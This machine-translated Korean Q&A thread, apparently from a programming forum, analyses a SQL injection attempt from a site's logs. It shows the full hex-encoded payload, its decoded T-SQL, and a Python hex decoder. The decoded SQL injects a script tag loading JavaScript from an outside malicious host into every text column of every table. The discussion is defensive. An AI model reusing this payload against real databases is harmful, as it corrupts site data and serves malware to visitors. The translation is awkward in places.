시도 된 SQL 주입 공격 - 그들은 무엇을하려고합니까?
-
03-07-2019 - |
문제
지난 몇 주 동안 여러 SQL 주사 공격을 받고있는 공개 웹 사이트가 있습니다. 나는 독점적으로 매개 변수 저장 절차를 사용하므로 성공적인 공격이지만 최근 로그는 흥미로운 기술을 보여주었습니다.
명확성을 위해 라인 브레이크가 추가되었습니다
http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 686172283430303029204445434C415245205461626C655F437572736F7220435552534F 5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F 626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 404046455443485F5354415455533D302920424547494E20657865632827757064617465 205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43 7572736F72 AS CHAR(4000));EXEC(@S);&_X="
누구든지 "캐스트와 exec"가 무엇을 시도하고 있는지에 대해 밝힐 수 있습니까?
해결책
아래는 그들이 밀 으려고했던 디코딩 된 SQL입니다.
DECLARE @T varchar(255),
@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id
AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
다른 팁
16 진수에서 chars로 디 시퍼를 사용하면 모든 데이터베이스 테이블을 거치는 것처럼 보이면 텍스트/숯 유형의 모든 열을 선택 하고이 유형의 각 값의 끝에서 악성 스크립트 실행을 추가하십시오. http://www2.s800qn.cn/csrss/w.js
. 이제 웹 사이트에 데이터베이스에서 검색된 텍스트 데이터를 탈출하지 않는 곳이 하나 이상인 경우 사이트 사용자는이 악성 스크립트가 기계에서 실행됩니다.
예를 들어 MySQL에서 실행하십시오.
select CAST(0x44...72 AS CHAR(4000)) as a;
그리고 당신은 알 수 있습니다. Ishmaeel은 코드를 붙여 넣었습니다.
이것은 대상이 아닌 SQLServer 웜입니다.
나는 우리가 전에이 공격을 받았다고 생각합니다. 삽입하려고합니다 <script>
데이터베이스의 모든 테이블의 모든 필드에 태그를 지정합니다.
데이터베이스를 <script>
페이지에 표시되는 태그. URL을 통해 정크를 밀려고하면 대부분의 서버가 폭발하기 때문에 인코딩됩니다.
이와 같은 대부분의 것은 쿼리 스트링으로 무엇이든 부딪 칠 것이라는 점에서 무작위에 해당하는 공격입니다. QueryStrings의 SQL이 실행되지 않도록 사이트를 테스트하십시오. 매개 변수 쿼리 만 사용합니다 ~해야 한다 당신을 덮으십시오.
16 진 코드를 디키퍼하는 가장 간단한 파이썬 알고리즘은 다음과 같습니다.
text = "4445434C415245204054207661726368617228323535292C404..."
def getText():
for i in range(0, len(text), 2):
byte = text[i:i+2]
char = int(byte, 16)
toPrint = chr(char)
yield toPrint
print ''.join(getText())